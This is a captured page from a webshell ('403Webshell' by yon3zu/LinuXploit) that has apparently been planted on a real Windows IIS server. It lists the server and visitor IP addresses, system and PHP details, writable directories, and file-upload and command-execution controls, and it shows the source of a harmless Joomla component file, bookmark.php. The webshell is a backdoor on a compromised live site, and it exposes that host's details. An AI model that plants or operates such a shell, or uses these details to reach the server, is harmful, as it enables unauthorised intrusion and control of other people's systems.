403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/administrator/components/com_linkr/tables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/administrator/components/com_linkr/tables/bookmark.php
<?php
defined('_JEXEC') or die;

class TableBookmark extends JTable
{
	var $id;
	var $name;
	var $text;
	var $size;
	var $htmltext;
	var $htmlsmall;
	var $htmllarge;
	var $htmlbutton;
	var $htmlcustom;
	var $ordering;
	var $icon;
	var $popular;
	
	function TableBookmark( &$db ) {
		parent::__construct( '#__linkr_bookmarks', 'id', $db );
	}
	
	function check()
	{
		// Check name
		$this->name	= JString::trim( $this->name );
		if (empty( $this->name )) {
			$this->setError( JText::_( 'NOTICE_MISSING_NAME' ) );
			return false;
		}
		
		// Check html
		$this->htmltext		= trim( $this->htmltext );
		$this->htmlsmall	= trim( $this->htmlsmall );
		$this->htmllarge	= trim( $this->htmllarge );
		$this->htmlbutton	= trim( $this->htmlbutton );
		$this->htmlcustom	= trim( $this->htmlcustom );
		$defSize	= 'html'. $this->size;
		if (empty( $this->$defSize )) {
			$this->setError( JText::_( 'NOTICE_MISSING_HTML' ) );
			return false;
		}
		
		$this->popular	= ($this->popular) ? 1 : 0;
		$this->text		= JString::trim( $this->text );
		if (empty( $this->text )) {
			$this->text	= $this->name;
		}
		
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit